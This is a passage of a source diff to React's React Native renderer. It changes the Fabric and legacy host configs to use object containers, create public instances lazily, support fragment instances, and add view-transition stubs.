-  const component = createPublicInstance(
-    tag,
-    viewConfig,
-    internalInstanceHandle,
-  );
-
   return {
     node: node,
     canonical: {
@@ -177,7 +217,8 @@ export function createInstance(
       viewConfig,
       currentProps: props,
       internalInstanceHandle,
-      publicInstance: component,
+      publicInstance: null,
+      publicRootInstance: rootContainerInstance.publicInstance,
     },
   };
 }
@@ -200,7 +241,7 @@ export function createTextInstance(
   const node = createNode(
     tag, // reactTag
     'RCTRawText', // viewName
-    rootContainerInstance, // rootTag
+    rootContainerInstance.containerTag, // rootTag
     {text: text}, // props
     internalInstanceHandle, // instance handle
   );
@@ -238,6 +279,7 @@ export function getChildHostContext(
     const isInAParentText =
       type === 'AndroidTextInput' || // Android
       type === 'RCTMultilineTextInputView' || // iOS
+      type === 'RCTSelectableText' ||
       type === 'RCTSinglelineTextInputView' || // iOS
       type === 'RCTText' ||
       type === 'RCTVirtualText';
@@ -254,10 +296,28 @@ export function getChildHostContext(
 }
 
 export function getPublicInstance(instance: Instance): null | PublicInstance {
-  if (instance.canonical != null && instance.canonical.publicInstance != null) {
+  if (instance.canonical != null) {
+    if (instance.canonical.publicInstance == null) {
+      instance.canonical.publicInstance = createPublicInstance(
+        instance.canonical.nativeTag,
+        instance.canonical.viewConfig,
+        instance.canonical.internalInstanceHandle,
+        instance.canonical.publicRootInstance ?? null,
+      );
+      // This was only necessary to create the public instance.
+      instance.canonical.publicRootInstance = null;
+    }
+
     return instance.canonical.publicInstance;
   }
 
+  // Handle root containers
+  if (instance.containerInfo != null) {
+    if (instance.containerInfo.publicInstance != null) {
+      return instance.containerInfo.publicInstance;
+    }
+  }
+
   // For compatibility with the legacy renderer, in case it's used with Fabric
   // in the same app.
   // $FlowExpectedError[prop-missing]
@@ -301,6 +361,14 @@ export function getPublicInstanceFromInternalInstanceHandle(
   return getPublicInstance(elementInstance);
 }
 
+function getPublicInstanceFromHostFiber(fiber: Fiber): PublicInstance {
+  const publicInstance = getPublicInstance(fiber.stateNode);
+  if (publicInstance === null) {
+    throw new Error('Expected to find a host node. This is a bug in React.');
+  }
+  return publicInstance;
+}
+
 export function prepareForCommit(containerInfo: Container): null | Object {
   // Noop
   return null;
@@ -342,6 +410,10 @@ export function resolveUpdatePriority(): EventPriority {
     switch (currentEventPriority) {
       case FabricDiscretePriority:
         return DiscreteEventPriority;
+      case FabricContinuousPriority:
+        return ContinuousEventPriority;
+      case FabricIdlePriority:
+        return IdleEventPriority;
       case FabricDefaultPriority:
       default:
         return DefaultEventPriority;
@@ -351,6 +423,50 @@ export function resolveUpdatePriority(): EventPriority {
   return DefaultEventPriority;
 }
 
+let schedulerEvent: void | Event = undefined;
+export function trackSchedulerEvent(): void {
+  schedulerEvent = global.event;
+}
+
+function getEventType(event: Event): null | string {
+  if (event.type) {
+    return event.type;
+  }
+
+  // Legacy implementation. RN does not define the `type` property on the event object yet.
+  // $FlowExpectedError[prop-missing]
+  const dispatchConfig = event.dispatchConfig;
+  if (
+    dispatchConfig == null ||
+    dispatchConfig.phasedRegistrationNames == null
+  ) {
+    return null;
+  }
+
+  const rawEventType =
+    dispatchConfig.phasedRegistrationNames.bubbled ||
+    dispatchConfig.phasedRegistrationNames.captured;
+  if (!rawEventType) {
+    return null;
+  }
+
+  if (rawEventType.startsWith('on')) {
+    return rawEventType.slice(2).toLowerCase();
+  }
+
+  return rawEventType.toLowerCase();
+}
+
+export function resolveEventType(): null | string {
+  const event = global.event;
+  return event && event !== schedulerEvent ? getEventType(event) : null;
+}
+
+export function resolveEventTimeStamp(): number {
+  const event = global.event;
+  return event && event !== schedulerEvent ? event.timeStamp : -1.1;
+}
+
 export function shouldAttemptEagerTransition(): boolean {
   return false;
 }
@@ -363,7 +479,7 @@ export const warnsIfNotActing = false;
 
 export const scheduleTimeout = setTimeout;
 export const cancelTimeout = clearTimeout;
-export const noTimeout = -1;
+export const noTimeout: -1 = -1;
 
 // -------------------
 //     Persistence
@@ -380,7 +496,11 @@ export function cloneInstance(
   newChildSet: ?ChildSet,
 ): Instance {
   const viewConfig = instance.canonical.viewConfig;
-  const updatePayload = diff(oldProps, newProps, viewConfig.validAttributes);
+  const updatePayload = diffAttributePayloads(
+    oldProps,
+    newProps,
+    viewConfig.validAttributes,
+  );
   // TODO: If the event handlers have changed, we need to update the current props
   // in the commit phase but there is no host config hook to do it yet.
   // So instead we hack it by updating it in the render phase.
@@ -429,7 +549,7 @@ export function cloneHiddenInstance(
 ): Instance {
   const viewConfig = instance.canonical.viewConfig;
   const node = instance.node;
-  const updatePayload = create(
+  const updatePayload = createAttributePayload(
     {style: {display: 'none'}},
     viewConfig.validAttributes,
   );
@@ -469,19 +589,17 @@ export function finalizeContainerChildren(
   container: Container,
   newChildren: ChildSet,
 ): void {
-  completeRoot(container, newChildren);
+  // Noop - children will be replaced in replaceContainerChildren
 }
 
 export function replaceContainerChildren(
   container: Container,
   newChildren: ChildSet,
 ): void {
-  // Noop - children will be replaced in finalizeContainerChildren
+  completeRoot(container.containerTag, newChildren);
 }
 
-export function getInstanceFromNode(node: any): empty {
-  throw new Error('Not yet implemented.');
-}
+export {getClosestInstanceFromNode as getInstanceFromNode};
 
 export function beforeActiveInstanceBlur(
   internalInstanceHandle: InternalInstanceHandle,
@@ -509,19 +627,319 @@ export function maySuspendCommit(type: Type, props: Props): boolean {
   return false;
 }
 
-export function preloadInstance(type: Type, props: Props): boolean {
+export function maySuspendCommitOnUpdate(
+  type: Type,
+  oldProps: Props,
+  newProps: Props,
+): boolean {
+  return false;
+}
+
+export function maySuspendCommitInSyncRender(
+  type: Type,
+  props: Props,
+): boolean {
+  return false;
+}
+
+export function preloadInstance(
+  instance: Instance,
+  type: Type,
+  props: Props,
+): boolean {
   return true;
 }
 
-export function startSuspendingCommit(): void {}
+export opaque type SuspendedState = null;
 
-export function suspendInstance(type: Type, props: Props): void {}
+export function startSuspendingCommit(): SuspendedState {
+  return null;
+}
 
-export function waitForCommitToBeReady(): null {
+export function suspendInstance(
+  state: SuspendedState,
+  instance: Instance,
+  type: Type,
+  props: Props,
+): void {}
+
+export function suspendOnActiveViewTransition(
+  state: SuspendedState,
+  container: Container,
+): void {}
+
+export function waitForCommitToBeReady(
+  state: SuspendedState,
+  timeoutOffset: number,
+): null {
+  return null;
+}
+
+export function getSuspendedCommitReason(
+  state: SuspendedState,
+  rootContainer: Container,
+): null | string {
   return null;
 }
 
+export type FragmentInstanceType = {
+  _fragmentFiber: Fiber,
+  _observers: null | Set<IntersectionObserver>,
+  observeUsing: (observer: IntersectionObserver) => void,
+  unobserveUsing: (observer: IntersectionObserver) => void,
+  compareDocumentPosition: (otherNode: PublicInstance) => number,
+  getRootNode(getRootNodeOptions?: {
+    composed: boolean,
+  }): Node | FragmentInstanceType,
+  getClientRects: () => Array<DOMRect>,
+};
+
+function FragmentInstance(this: FragmentInstanceType, fragmentFiber: Fiber) {
+  this._fragmentFiber = fragmentFiber;
+  this._observers = null;
+}
+
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.observeUsing = function (
+  this: FragmentInstanceType,
+  observer: IntersectionObserver,
+): void {
+  if (this._observers === null) {
+    this._observers = new Set();
+  }
+  this._observers.add(observer);
+  traverseFragmentInstance(this._fragmentFiber, observeChild, observer);
+};
+function observeChild(child: Fiber, observer: IntersectionObserver) {
+  const publicInstance = getPublicInstanceFromHostFiber(child);
+  // $FlowFixMe[incompatible-call] DOM types expect Element
+  observer.observe(publicInstance);
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.unobserveUsing = function (
+  this: FragmentInstanceType,
+  observer: IntersectionObserver,
+): void {
+  const observers = this._observers;
+  if (observers === null || !observers.has(observer)) {
+    if (__DEV__) {
+      console.error(
+        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +
+          'instance. First attach the observer with observeUsing()',
+      );
+    }
+  } else {
+    observers.delete(observer);
+    traverseFragmentInstance(this._fragmentFiber, unobserveChild, observer);
+  }
+};
+function unobserveChild(child: Fiber, observer: IntersectionObserver) {
+  const publicInstance = getPublicInstanceFromHostFiber(child);
+  // $FlowFixMe[incompatible-call] DOM types expect Element
+  observer.unobserve(publicInstance);
+  return false;
+}
+
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.compareDocumentPosition = function (
+  this: FragmentInstanceType,
+  otherNode: PublicInstance,
+): number {
+  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);
+  if (parentHostFiber === null) {
+    return Node.DOCUMENT_POSITION_DISCONNECTED;
+  }
+  const children: Array<Fiber> = [];
+  traverseFragmentInstance(this._fragmentFiber, collectChildren, children);
+  if (children.length === 0) {
+    const parentHostInstance = getPublicInstanceFromHostFiber(parentHostFiber);
+    return compareDocumentPositionForEmptyFragment<PublicInstance>(
+      this._fragmentFiber,
+      parentHostInstance,
+      otherNode,
+      getPublicInstanceFromHostFiber,
+    );
+  }
+
+  const firstInstance = getPublicInstanceFromHostFiber(children[0]);
+  const lastInstance = getPublicInstanceFromHostFiber(
+    children[children.length - 1],
+  );
+
+  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque
+  // $FlowFixMe[prop-missing]
+  const firstResult = firstInstance.compareDocumentPosition(otherNode);
+  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque
+  // $FlowFixMe[prop-missing]
+  const lastResult = lastInstance.compareDocumentPosition(otherNode);
+
+  const otherNodeIsFirstOrLastChild =
+    firstInstance === otherNode || lastInstance === otherNode;
+  const otherNodeIsWithinFirstOrLastChild =
+    firstResult & Node.DOCUMENT_POSITION_CONTAINED_BY ||
+    lastResult & Node.DOCUMENT_POSITION_CONTAINED_BY;
+  const otherNodeIsBetweenFirstAndLastChildren =
+    firstResult & Node.DOCUMENT_POSITION_FOLLOWING &&
+    lastResult & Node.DOCUMENT_POSITION_PRECEDING;
+  let result;
+  if (
+    otherNodeIsFirstOrLastChild ||
+    otherNodeIsWithinFirstOrLastChild ||
+    otherNodeIsBetweenFirstAndLastChildren
+  ) {
+    result = Node.DOCUMENT_POSITION_CONTAINED_BY;
+  } else {
+    result = firstResult;
+  }
+
+  return result;
+};
+
+function collectChildren(child: Fiber, collection: Array<Fiber>): boolean {
+  collection.push(child);
+  return false;
+}
+
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.getRootNode = function (
+  this: FragmentInstanceType,
+  getRootNodeOptions?: {composed: boolean},
+): Node | FragmentInstanceType {
+  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);
+  if (parentHostFiber === null) {
+    return this;
+  }
+  const parentHostInstance = getPublicInstanceFromHostFiber(parentHostFiber);
+  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque
+  const rootNode = (parentHostInstance.getRootNode(getRootNodeOptions): Node);
+  return rootNode;
+};
+
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.getClientRects = function (
+  this: FragmentInstanceType,
+): Array<DOMRect> {
+  const rects: Array<DOMRect> = [];
+  traverseFragmentInstance(this._fragmentFiber, collectClientRects, rects);
+  return rects;
+};
+function collectClientRects(child: Fiber, rects: Array<DOMRect>): boolean {
+  const instance = getPublicInstanceFromHostFiber(child);
+
+  // getBoundingClientRect is available on Fabric instances while getClientRects is not.
+  // This should work as a substitute in this case because the only equivalent of a multi-rect
+  // element in RN would be a nested Text component.
+  // Since we only use top-level nodes here, we can assume that getBoundingClientRect is sufficient.
+  // $FlowFixMe[method-unbinding]
+  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque
+  rects.push(instance.getBoundingClientRect());
+  return false;
+}
+
+function addFragmentHandleToFiber(
+  child: Fiber,
+  fragmentInstance: FragmentInstanceType,
+): boolean {
+  if (enableFragmentRefsInstanceHandles) {
+    const instance = ((getPublicInstanceFromHostFiber(
+      child,
+    ): any): PublicInstanceWithFragmentHandles);
+    if (instance != null) {
+      addFragmentHandleToInstance(instance, fragmentInstance);
+    }
+  }
+  return false;
+}
+
+function addFragmentHandleToInstance(
+  instance: PublicInstanceWithFragmentHandles,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  if (enableFragmentRefsInstanceHandles) {
+    if (instance.reactFragments == null) {
+      instance.reactFragments = new Set();
+    }
+    instance.reactFragments.add(fragmentInstance);
+  }
+}
+
+export function createFragmentInstance(
+  fragmentFiber: Fiber,
+): FragmentInstanceType {
+  const fragmentInstance = new (FragmentInstance: any)(fragmentFiber);
+  if (enableFragmentRefsInstanceHandles) {
+    traverseFragmentInstance(
+      fragmentFiber,
+      addFragmentHandleToFiber,
+      fragmentInstance,
+    );
+  }
+  return fragmentInstance;
+}
+
+export function updateFragmentInstanceFiber(
+  fragmentFiber: Fiber,
+  instance: FragmentInstanceType,
+): void {
+  instance._fragmentFiber = fragmentFiber;
+}
+
+export function commitNewChildToFragmentInstance(
+  childInstance: Instance | TextInstance,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  // Text nodes are not observable
+  if (enableFragmentRefsTextNodes && childInstance.canonical == null) {
+    return;
+  }
+  const instance: Instance = (childInstance: any);
+  const publicInstance = getPublicInstance(instance);
+  if (fragmentInstance._observers !== null) {
+    if (publicInstance == null) {
+      throw new Error('Expected to find a host node. This is a bug in React.');
+    }
+    fragmentInstance._observers.forEach(observer => {
+      // $FlowFixMe[incompatible-call] Element types are behind a flag in RN
+      observer.observe(publicInstance);
+    });
+  }
+  if (enableFragmentRefsInstanceHandles) {
+    addFragmentHandleToInstance(
+      ((publicInstance: any): PublicInstanceWithFragmentHandles),
+      fragmentInstance,
+    );
+  }
+}
+
+export function deleteChildFromFragmentInstance(
+  childInstance: Instance | TextInstance,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  // Text nodes are not observable
+  if (enableFragmentRefsTextNodes && childInstance.canonical == null) {
+    return;
+  }
+  const instance: Instance = (childInstance: any);
+  const publicInstance = ((getPublicInstance(
+    instance,
+  ): any): PublicInstanceWithFragmentHandles);
+  if (enableFragmentRefsInstanceHandles) {
+    if (publicInstance.reactFragments != null) {
+      publicInstance.reactFragments.delete(fragmentInstance);
+    }
+  }
+}
+
 export const NotPendingTransition: TransitionStatus = null;
+export const HostTransitionContext: ReactContext<TransitionStatus> = {
+  $$typeof: REACT_CONTEXT_TYPE,
+  Provider: (null: any),
+  Consumer: (null: any),
+  _currentValue: NotPendingTransition,
+  _currentValue2: NotPendingTransition,
+  _threadCount: 0,
+};
 
 export type FormInstance = Instance;
 export function resetFormInstance(form: Instance): void {}
diff --git a/packages/react-native-renderer/src/ReactFiberConfigFabricWithViewTransition.js b/packages/react-native-renderer/src/ReactFiberConfigFabricWithViewTransition.js
new file mode 100644
index 000000000000..cbe70a0d88f8
--- /dev/null
+++ b/packages/react-native-renderer/src/ReactFiberConfigFabricWithViewTransition.js
@@ -0,0 +1,261 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
+import type {
+  Instance,
+  Props,
+  Container,
+  SuspendedState,
+  GestureTimeline,
+} from './ReactFiberConfigFabric';
+
+const {
+  applyViewTransitionName: fabricApplyViewTransitionName,
+  startViewTransition: fabricStartViewTransition,
+} = nativeFabricUIManager;
+
+export type InstanceMeasurement = {
+  rect: {x: number, y: number, width: number, height: number},
+  abs: boolean,
+  clip: boolean,
+  view: boolean,
+};
+
+export type RunningViewTransition = {
+  finished: Promise<void>,
+  ready: Promise<void>,
+  ...
+};
+
+interface ViewTransitionPseudoElementType extends mixin$Animatable {
+  _pseudo: string;
+  _name: string;
+}
+
+function ViewTransitionPseudoElement(
+  this: ViewTransitionPseudoElementType,
+  pseudo: string,
+  name: string,
+) {
+  // TODO: Get the owner document from the root container.
+  this._pseudo = pseudo;
+  this._name = name;
+}
+
+export type ViewTransitionInstance = null | {
+  name: string,
+  old: mixin$Animatable,
+  new: mixin$Animatable,
+  ...
+};
+
+export function restoreViewTransitionName(
+  instance: Instance,
+  props: Props,
+): void {
+  if (__DEV__) {
+    console.warn('restoreViewTransitionName is not implemented');
+  }
+}
+
+// Cancel the old and new snapshots of viewTransitionName
+export function cancelViewTransitionName(
+  instance: Instance,
+  oldName: string,
+  props: Props,
+): void {
+  if (__DEV__) {
+    console.warn('cancelViewTransitionName is not implemented');
+  }
+}
+
+export function cancelRootViewTransitionName(rootContainer: Container): void {
+  // No-op
+}
+
+export function restoreRootViewTransitionName(rootContainer: Container): void {
+  // No-op
+}
+
+export function cloneRootViewTransitionContainer(
+  rootContainer: Container,
+): Instance {
+  if (__DEV__) {
+    console.warn('cloneRootViewTransitionContainer is not implemented');
+  }
+  // $FlowFixMe[incompatible-return] Return empty stub
+  return null;
+}
+
+export function removeRootViewTransitionClone(
+  rootContainer: Container,
+  clone: Instance,
+): void {
+  if (__DEV__) {
+    console.warn('removeRootViewTransitionClone is not implemented');
+  }
+}
+
+export function measureInstance(instance: Instance): InstanceMeasurement {
+  if (__DEV__) {
+    console.warn('measureInstance is not implemented');
+  }
+  return {
+    rect: {
+      x: 0,
+      y: 0,
+      width: 0,
+      height: 0,
+    },
+    abs: false,
+    clip: false,
+    // TODO: properly calculate whether instance is in viewport
+    view: true,
+  };
+}
+
+export function measureClonedInstance(instance: Instance): InstanceMeasurement {
+  if (__DEV__) {
+    console.warn('measureClonedInstance is not implemented');
+  }
+  return {
+    rect: {x: 0, y: 0, width: 0, height: 0},
+    abs: false,
+    clip: false,
+    view: true,
+  };
+}
+
+export function wasInstanceInViewport(
+  measurement: InstanceMeasurement,
+): boolean {
+  return measurement.view;
+}
+
+export function hasInstanceChanged(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  if (__DEV__) {
+    console.warn('hasInstanceChanged is not implemented');
+  }
+  return false;
+}
+
+export function hasInstanceAffectedParent(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  if (__DEV__) {
+    console.warn('hasInstanceAffectedParent is not implemented');
+  }
+  return false;
+}
+
+export function startGestureTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  timeline: GestureTimeline,
+  rangeStart: number,
+  rangeEnd: number,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  animateCallback: () => void,
+  errorCallback: (error: mixed) => void,
+  finishedAnimation: () => void,
+): RunningViewTransition {
+  if (__DEV__) {
+    console.warn('startGestureTransition is not implemented');
+  }
+  return {
+    finished: Promise.resolve(),
+    ready: Promise.resolve(),
+  };
+}
+
+export function stopViewTransition(transition: RunningViewTransition): void {
+  if (__DEV__) {
+    console.warn('stopViewTransition is not implemented');
+  }
+}
+
+export function addViewTransitionFinishedListener(
+  transition: RunningViewTransition,
+  callback: () => void,
+): void {
+  transition.finished.finally(callback);
+}
+
+export function createViewTransitionInstance(
+  name: string,
+): ViewTransitionInstance {
+  return {
+    name,
+    old: new (ViewTransitionPseudoElement: any)('old', name),
+    new: new (ViewTransitionPseudoElement: any)('new', name),
+  };
+}
+
+export function applyViewTransitionName(
+  instance: Instance,
+  name: string,
+  className: ?string,
+): void {
+  // add view-transition-name to things that might animate for browser
+  fabricApplyViewTransitionName(instance.node, name, className);
+}
+
+export function startViewTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  layoutCallback: () => void,
+  afterMutationCallback: () => void,
+  spawnedWorkCallback: () => void,
+  passiveCallback: () => mixed,
+  errorCallback: (error: mixed) => void,
+  blockedCallback: (name: string) => void,
+  finishedAnimation: () => void,
+): null | RunningViewTransition {
+  const transition = fabricStartViewTransition(
+    // mutation
+    () => {
+      mutationCallback(); // completeRoot should run here
+      layoutCallback();
+      afterMutationCallback();
+    },
+  );
+
+  if (transition == null) {
+    if (__DEV__) {
+      console.warn(
+        "startViewTransition didn't kick off transition in Fabric, the ViewTransition ReactNativeFeatureFlag might not be enabled.",
+      );
+    }
+    // Flush remaining work synchronously.
+    mutationCallback();
+    layoutCallback();
+    // Skip afterMutationCallback(). We don't need it since we're not animating.
+    spawnedWorkCallback();
+    // Skip passiveCallback(). Spawned work will schedule a task.
+    return null;
+  }
+
+  transition.ready.then(() => {
+    spawnedWorkCallback();
+  });
+
+  transition.finished.finally(() => {
+    passiveCallback();
+  });
+
+  return transition;
+}
diff --git a/packages/react-native-renderer/src/ReactFiberConfigNative.js b/packages/react-native-renderer/src/ReactFiberConfigNative.js
index f69457c52073..404ae7a54a85 100644
--- a/packages/react-native-renderer/src/ReactFiberConfigNative.js
+++ b/packages/react-native-renderer/src/ReactFiberConfigNative.js
@@ -8,12 +8,15 @@
  */
 
 import type {InspectorData, TouchedViewDataAtPoint} from './ReactNativeTypes';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
 
 // Modules provided by RN:
 import {
   ReactNativeViewConfigRegistry,
   UIManager,
   deepFreezeAndThrowOnMutationInDev,
+  createPublicInstance,
+  type PublicRootInstance,
 } from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
 
 import {create, diff} from './ReactNativeAttributePayload';
@@ -21,6 +24,7 @@ import {
   precacheFiberNode,
   uncacheFiberNode,
   updateFiberProps,
+  getClosestInstanceFromNode,
 } from './ReactNativeComponentTree';
 import ReactNativeFiberHostComponent from './ReactNativeFiberHostComponent';
 
@@ -31,11 +35,33 @@ import {
 } from 'react-reconciler/src/ReactEventPriorities';
 import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
 
+import {enableProfilerTimer} from 'shared/ReactFeatureFlags';
+
+import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
+import type {ReactContext} from 'shared/ReactTypes';
+
+import {
+  getInspectorDataForViewTag,
+  getInspectorDataForViewAtPoint,
+  getInspectorDataForInstance,
+} from './ReactNativeFiberInspector';
+
+export {default as rendererVersion} from 'shared/ReactVersion'; // TODO: Consider exporting the react-native version.
+export const rendererPackageName = 'react-native-renderer';
+export const extraDevToolsConfig = {
+  getInspectorDataForInstance,
+  getInspectorDataForViewTag,
+  getInspectorDataForViewAtPoint,
+};
+
 const {get: getViewConfigForType} = ReactNativeViewConfigRegistry;
 
 export type Type = string;
 export type Props = Object;
-export type Container = number;
+export type Container = {
+  containerTag: number,
+  publicInstance: PublicRootInstance | null,
+};
 export type Instance = ReactNativeFiberHostComponent;
 export type TextInstance = number;
 export type HydratableInstance = Instance | TextInstance;
@@ -124,7 +150,7 @@ export function createInstance(
   UIManager.createView(
     tag, // reactTag
     viewConfig.uiViewClassName, // viewName
-    rootContainerInstance, // rootTag
+    rootContainerInstance.containerTag, // rootTag
     updatePayload, // props
   );
 
@@ -142,6 +168,13 @@ export function createInstance(
   return ((component: any): Instance);
 }
 
+export function cloneMutableInstance(
+  instance: Instance,
+  keepChildren: boolean,
+): Instance {
+  throw new Error('Not yet implemented.');
+}
+
 export function createTextInstance(
   text: string,
   rootContainerInstance: Container,
@@ -157,7 +190,7 @@ export function createTextInstance(
   UIManager.createView(
     tag, // reactTag
     'RCTRawText', // viewName
-    rootContainerInstance, // rootTag
+    rootContainerInstance.containerTag, // rootTag
     {text: text}, // props
   );
 
@@ -166,6 +199,41 @@ export function createTextInstance(
   return tag;
 }
 
+export function cloneMutableTextInstance(
+  textInstance: TextInstance,
+): TextInstance {
+  throw new Error('Not yet implemented.');
+}
+
+export type FragmentInstanceType = null;
+
+export function createFragmentInstance(
+  fragmentFiber: Fiber,
+): FragmentInstanceType {
+  return null;
+}
+
+export function updateFragmentInstanceFiber(
+  fragmentFiber: Fiber,
+  instance: FragmentInstanceType,
+): void {
+  // Noop
+}
+
+export function commitNewChildToFragmentInstance(
+  child: PublicInstance,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  // Noop
+}
+
+export function deleteChildFromFragmentInstance(
+  child: PublicInstance,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  // Noop
+}
+
 export function finalizeInitialChildren(
   parentInstance: Instance,
   type: string,
@@ -207,6 +275,7 @@ export function getChildHostContext(
   const isInAParentText =
     type === 'AndroidTextInput' || // Android
     type === 'RCTMultilineTextInputView' || // iOS
+    type === 'RCTSelectableText' ||
     type === 'RCTSinglelineTextInputView' || // iOS
     type === 'RCTText' ||
     type === 'RCTVirtualText';
@@ -220,8 +289,26 @@ export function getChildHostContext(
 
 export function getPublicInstance(instance: Instance): PublicInstance {
   // $FlowExpectedError[prop-missing] For compatibility with Fabric
-  if (instance.canonical != null && instance.canonical.publicInstance != null) {
-    // $FlowFixMe[incompatible-return]
+  if (instance.canonical != null) {
+    if (instance.canonical.publicInstance == null) {
+      // $FlowExpectedError[incompatible-use]
+      instance.canonical.publicInstance = createPublicInstance(
+        // $FlowExpectedError[incompatible-use]
+        instance.canonical.nativeTag,
+        // $FlowExpectedError[incompatible-use]
+        instance.canonical.viewConfig,
+        // $FlowExpectedError[incompatible-use]
+        instance.canonical.internalInstanceHandle,
+        // $FlowExpectedError[incompatible-use]
+        instance.canonical.publicRootInstance ?? null,
+      );
+      // This was only necessary to create the public instance.
+      // $FlowExpectedError[prop-missing]
+      instance.canonical.publicRootInstance = null;
+    }
+
+    // $FlowExpectedError[prop-missing]
+    // $FlowExpectedError[incompatible-return]
     return instance.canonical.publicInstance;
   }
 
@@ -242,7 +329,7 @@ export const warnsIfNotActing = true;
 
 export const scheduleTimeout = setTimeout;
 export const cancelTimeout = clearTimeout;
-export const noTimeout = -1;
+export const noTimeout: -1 = -1;
 
 export function shouldSetTextContent(type: string, props: Props): boolean {
   // TODO (bvaughn) Revisit this decision.
@@ -270,6 +357,16 @@ export function resolveUpdatePriority(): EventPriority {
   return DefaultEventPriority;
 }
 
+export function trackSchedulerEvent(): void {}
+
+export function resolveEventType(): null | string {
+  return null;
+}
+
+export function resolveEventTimeStamp(): number {
+  return -1.1;
+}
+
 export function shouldAttemptEagerTransition(): boolean {
   return false;
 }
@@ -320,7 +417,7 @@ export function appendChildToContainer(
 ): void {
   const childTag = typeof child === 'number' ? child : child._nativeTag;
   UIManager.setChildren(
-    parentInstance, // containerTag
+    parentInstance.containerTag, // containerTag
     [childTag], // reactTags
   );
 }
@@ -450,7 +547,7 @@ export function removeChildFromContainer(
 ): void {
   recursivelyUncacheFiberNode(child);
   UIManager.manageChildren(
-    parentInstance, // containerID
+    parentInstance.containerTag, // containerID
     [], // moveFromIndices
     [], // moveToIndices
     [], // addChildReactTags
@@ -494,6 +591,152 @@ export function unhideInstance(instance: Instance, props: Props): void {
   );
 }
 
+export function applyViewTransitionName(
+  instance: Instance,
+  name: string,
+  className: ?string,
+): void {
+  // Not yet implemented
+}
+
+export function restoreViewTransitionName(
+  instance: Instance,
+  props: Props,
+): void {
+  // Not yet implemented
+}
+
+export function cancelViewTransitionName(
+  instance: Instance,
+  name: string,
+  props: Props,
+): void {
+  // Not yet implemented
+}
+
+export function cancelRootViewTransitionName(rootContainer: Container): void {
+  // Not yet implemented
+}
+
+export function restoreRootViewTransitionName(rootContainer: Container): void {
+  // Not yet implemented
+}
+
+export function cloneRootViewTransitionContainer(
+  rootContainer: Container,
+): Instance {
+  throw new Error('Not implemented.');
+}
+
+export function removeRootViewTransitionClone(
+  rootContainer: Container,
+  clone: Instance,
+): void {
+  throw new Error('Not implemented.');
+}
+
+export type InstanceMeasurement = null;
+
+export function measureInstance(instance: Instance): InstanceMeasurement {
+  // This heuristic is better implemented at the native layer.
+  return null;
+}
+
+export function measureClonedInstance(instance: Instance): InstanceMeasurement {
+  return null;
+}
+
+export function wasInstanceInViewport(
+  measurement: InstanceMeasurement,
+): boolean {
+  return true;
+}
+
+export function hasInstanceChanged(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  return false;
+}
+
+export function hasInstanceAffectedParent(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  return false;
+}
+
+export function startViewTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  layoutCallback: () => void,
+  afterMutationCallback: () => void,
+  spawnedWorkCallback: () => void,
+  passiveCallback: () => mixed,
+  errorCallback: mixed => void,
+  blockedCallback: string => void, // Profiling-only
+  finishedAnimation: () => void, // Profiling-only
+): null | RunningViewTransition {
+  mutationCallback();
+  layoutCallback();
+  // Skip afterMutationCallback(). We don't need it since we're not animating.
+  spawnedWorkCallback();
+  if (enableProfilerTimer) {
+    finishedAnimation();
+  }
+  // Skip passiveCallback(). Spawned work will schedule a task.
+  return null;
+}
+
+export type RunningViewTransition = null;
+
+export function startGestureTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  timeline: GestureTimeline,
+  rangeStart: number,
+  rangeEnd: number,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  animateCallback: () => void,
+  errorCallback: mixed => void,
+  finishedAnimation: () => void, // Profiling-only
+): null | RunningViewTransition {
+  mutationCallback();
+  animateCallback();
+  if (enableProfilerTimer) {
+    finishedAnimation();
+  }
+  return null;
+}
+
+export function stopViewTransition(transition: RunningViewTransition) {}
+
+export function addViewTransitionFinishedListener(
+  transition: RunningViewTransition,
+  callback: () => void,
+) {
+  callback();
+}
+
+export type ViewTransitionInstance = null | {name: string, ...};
+
+export function createViewTransitionInstance(
+  name: string,
+): ViewTransitionInstance {
+  return null;
+}
+
+export type GestureTimeline = null;
+
+export function getCurrentGestureOffset(provider: GestureTimeline): number {
+  throw new Error(
+    'startGestureTransition is not yet supported in React Native.',
+  );
+}
+
 export function clearContainer(container: Container): void {
   // TODO Implement this for React Native
   // UIManager does not expose a "remove all" type method.
